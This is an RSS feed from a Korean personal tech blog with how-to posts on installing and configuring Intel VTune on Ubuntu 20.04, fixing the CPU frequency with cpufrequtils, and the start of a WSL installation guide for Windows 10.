<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>marco</title>
    <link>https://marcokhan.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Tue, 28 Jul 2026 20:02:43 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>MarcoKhan</managingEditor>
    <image>
      <title>marco</title>
      <url>https://t1.daumcdn.net/cfile/tistory/2627023C5859F1F601</url>
      <link>https://marcokhan.tistory.com</link>
    </image>
    <item>
      <title>[Ubuntu 20.04] How to install Intel VTune on Ubuntu</title>
      <link>https://marcokhan.tistory.com/268</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;본 포스팅에서는 Ubuntu 20.04에서 최신 버전의 Intel VTune을 설치하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intel VTune은 프로그램 성능을 측정하기 위해 사용되는 툴 중 하나로서 많은 개발자들에 의해 사용되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 버전의 VTune은 (Version 2022.1.1) 설정하기 까다로운 부분이 존재하기 때문에 해당 내용을 본 포스팅에 기술한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Intel VTune 다운로드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VTune은 다음과 같이 Intel 공식 사이트에서 다운받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;a href=&quot;https://www.intel.com/content/www/us/en/developer/tools/oneapi/vtune-profiler.html#gs.m7u8g1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.intel.com/content/www/us/en/developer/tools/oneapi/vtune-profiler.html#gs.m7u8g1&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의 시스템 구성에 따라 &quot;Develop in the Cloud&quot;와 Download the Toolkit&quot; 둘 중 하나를 선택하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 &quot;Download the Toolkit&quot;을 선택하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 다음과 같이 &quot;Operating System&quot;, &quot;Distribution&quot;, &quot;Installer Type&quot;을 선택하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1415&quot; data-origin-height=&quot;983&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IZ7rF/btrq4tXabav/oTcyVHL4YWMfQuYArSbjcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IZ7rF/btrq4tXabav/oTcyVHL4YWMfQuYArSbjcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IZ7rF/btrq4tXabav/oTcyVHL4YWMfQuYArSbjcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIZ7rF%2Fbtrq4tXabav%2FoTcyVHL4YWMfQuYArSbjcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1415&quot; height=&quot;983&quot; data-origin-width=&quot;1415&quot; data-origin-height=&quot;983&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &quot;Download&quot; 버튼을 클릭하면 &quot;~/Download&quot; 경로에 &quot;L_BaseKit_p_2022.1.1.119.sh&quot; 파일이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* sh 파일은 버전에 따라 다를 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &quot;~/Download&quot; 경로에서 아래의 명령어로 Intel VTune 설치를 수행할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1642508001852&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo sh ./l_BaseKit_p_2022.1.1.119.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 웬만하면 동의 버튼을 모두 누른 후 설치를 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 방법은 아래와 같이 &quot;Recommended Installation&quot;과 &quot;Custom Installation&quot; 이렇게 두 가지를 선택할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특별한 경우가 아니라면 &quot;Recommended Installation&quot;을 선택하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;711&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rAPLe/btrq6LCZ5rq/erA0F6iITkHVktmxbbU7h1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rAPLe/btrq6LCZ5rq/erA0F6iITkHVktmxbbU7h1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rAPLe/btrq6LCZ5rq/erA0F6iITkHVktmxbbU7h1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrAPLe%2Fbtrq6LCZ5rq%2FerA0F6iITkHVktmxbbU7h1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1270&quot; height=&quot;711&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;711&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, 아래와 같은 화면 (&quot;Intel oneAPI Base Toolkit&quot;)을 만났다면 설치가 100% 완료될 때까지 기다리자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp9i21/btrq7IFML1R/19u3WAd951MDLknzOi95bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp9i21/btrq7IFML1R/19u3WAd951MDLknzOi95bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp9i21/btrq7IFML1R/19u3WAd951MDLknzOi95bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp9i21%2Fbtrq7IFML1R%2F19u3WAd951MDLknzOi95bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1271&quot; height=&quot;714&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Profiling을 위한 환경 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 설치가 끝나면 다음과 같은 경로에 Intel VTune 설치 및 실행 관련 파일이 저장되어 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642510861573&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/opt/intel/oneapi/vtune/latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, 간단한 sample 바이너리 실행을 위해 다음과 같은 command로 vtune를 실행시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642510984808&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/opt/intel/oneapi/vtune/2022.0.0/bin64$ ./vtune-gui&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 다음과 같이 Performance 프로파일 도구들을 곧 바로 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HotSpot의 경우는 다음과 같은 에러가 존재한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1565&quot; data-origin-height=&quot;757&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/db0SFB/btrq6PFrM5B/iH2eaUszuGBazXqPQKnsYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/db0SFB/btrq6PFrM5B/iH2eaUszuGBazXqPQKnsYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/db0SFB/btrq6PFrM5B/iH2eaUszuGBazXqPQKnsYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdb0SFB%2Fbtrq6PFrM5B%2FiH2eaUszuGBazXqPQKnsYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1565&quot; height=&quot;757&quot; data-origin-width=&quot;1565&quot; data-origin-height=&quot;757&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위해 &quot;/etc/sysctl.d/10-ptrace.conf&quot;에서 다음과 같이 &quot;kernel.yama.ptrace_scope&quot; 변수를 수정 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642511227595&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo vi /etc/sysctl.d/10-ptrace.conf

kernel.yama.ptrace_scope = 0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microarchitecture Exploration은 다음과 같은 경고가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;757&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cej2Kw/btrq4t3VNKh/pjPK7wYk4l4ZgBD3gYXkW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cej2Kw/btrq4t3VNKh/pjPK7wYk4l4ZgBD3gYXkW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cej2Kw/btrq4t3VNKh/pjPK7wYk4l4ZgBD3gYXkW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcej2Kw%2Fbtrq4t3VNKh%2FpjPK7wYk4l4ZgBD3gYXkW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;757&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;757&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 다음과 같은 명령으로 &quot;/proc/sys/kernel/kptr_restrict&quot; 값을 변경할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642511382930&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ su
Passwd:

# echo 0 &amp;gt; /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 &quot;Input and Output&quot;에서 문제가 발생하면 해결하기가 꽤 어려워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 정리하면 Intel에서 제공하는 Sampling Driver 설치가 정상적으로 되었는지 확인 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 방법으로 설치 여부를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642511883999&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cd /opt/intel/openapi/vtune/2022.0.0/sepdk/src
$ ./insmod-sep -q&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 해당 명령어의 결과에 특정 드라이버가 정상적으로 로드되지 않았다라고 하면 실제로 해당 모듈들이 로드되지 않았는지 &quot;lsmod&quot;로 확인 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 해당 모듈들이 로드되어 있다면 이것은 group ownership의 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;./insmod-sep -q&quot;의 결과를 잘 확인해보면 대부분의 커널 모듈의 group이 &quot;vtune&quot;으로 설정되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것을 현재 사용자 계정의 그룹으로 변경 해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 다음과 같은 명령어로 해결이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1642512088722&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./boot-script -g &amp;lt;user name&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 다시&quot;./insmod-sep -q&quot;의 결과를 확인해보면 커널 모듈의 group이 바뀐 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Trouble-shooting on boot-script&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간혹 boot-script를 이용해 해당 문제를 해결하려고 하더라도, group을 변경시키지 못할 때가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사이트를 이용하여 해당 문제를 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Build the Sampling Driver&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Install the Sampling Drivers&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 두 단계를 수행하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.intel.com/content/www/us/en/develop/documentation/vtune-help/top/set-up-analysis-target/linux-targets/build-install-sampling-drivers-for-linux-targets.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.intel.com/content/www/us/en/develop/documentation/vtune-help/top/set-up-analysis-target/linux-targets/build-install-sampling-drivers-for-linux-targets.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/268</guid>
      <comments>https://marcokhan.tistory.com/268#entry268comment</comments>
      <pubDate>Tue, 18 Jan 2022 22:22:10 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] How to fix the CPU frequency to the base CPU frequency</title>
      <link>https://marcokhan.tistory.com/267</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;본 포스팅에서는 CPU frequency를 base frequency로 설정하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 Intel CPU의 경우 default로 P-state 설정을 사용하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적으로는, Speed Step과 Intel Turbo Boost를 사용하여 효과적은 전력 관리를 위해 동적으로 전압과 주파수를 조절한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 때때로 실험을 위해 CPU frequency를 고정해야할 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Intel Turbo Boost disable&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intel Turbo Boost 기능을 사용하지 않기 위해서는 BIOS에서 해당 기능을 변경해 야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[Enabled -&amp;gt; Disabled]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Installing cpufrequtils&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cpufrequtils는 쉽게 CPU frequency를 조절할 수 있도록 편리성을 제공하는 패키지이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 명령어를 통해 쉽게 cpufrequtils를 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1640763331552&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo apt-get install cpufrequtils&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 cpufrequtils 설정 파일을 수정하여 CPU frequency를 조절할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1640764012122&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo vi /etc/init.d/cpufrequilts&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 아래 그림처럼 Governor를 &quot;ondemand&quot;에서 &quot;performance&quot;로 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK8Dzh/btro9Hpq4qf/7yuB3y0O8OU2TWQrs6KMFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK8Dzh/btro9Hpq4qf/7yuB3y0O8OU2TWQrs6KMFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK8Dzh/btro9Hpq4qf/7yuB3y0O8OU2TWQrs6KMFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK8Dzh%2Fbtro9Hpq4qf%2F7yuB3y0O8OU2TWQrs6KMFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;762&quot; height=&quot;558&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 이제 다음과 같은 명령어로 cpu frequency를 고정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1640765819257&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo systemctl daemon-reload
$ sudo /etc/init.d/cpufrequtils restart&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &lt;b&gt;cpufreq-info&lt;/b&gt; 명령을 통해 모든 코어의 CPU frequency가 base CPU frequency로 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;653&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ezPZws/btro7hkMOzA/OQqdsuP6Yd9BkCrkrPI9LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ezPZws/btro7hkMOzA/OQqdsuP6Yd9BkCrkrPI9LK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ezPZws/btro7hkMOzA/OQqdsuP6Yd9BkCrkrPI9LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FezPZws%2Fbtro7hkMOzA%2FOQqdsuP6Yd9BkCrkrPI9LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;785&quot; height=&quot;653&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;653&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/267</guid>
      <comments>https://marcokhan.tistory.com/267#entry267comment</comments>
      <pubDate>Wed, 29 Dec 2021 17:20:40 +0900</pubDate>
    </item>
    <item>
      <title>How to install WSL on Windows 10</title>
      <link>https://marcokhan.tistory.com/266</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 10부터 Vmware,&amp;nbsp; VirtualBox 등을 사용하지 않고 Linux를 사용할 수 있는 WSL(Windows Subsystem Linux) 기능을 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 포스팅에서는 Windows 10에서 WSL을 설치하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Windows 기능 켜기/끄기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
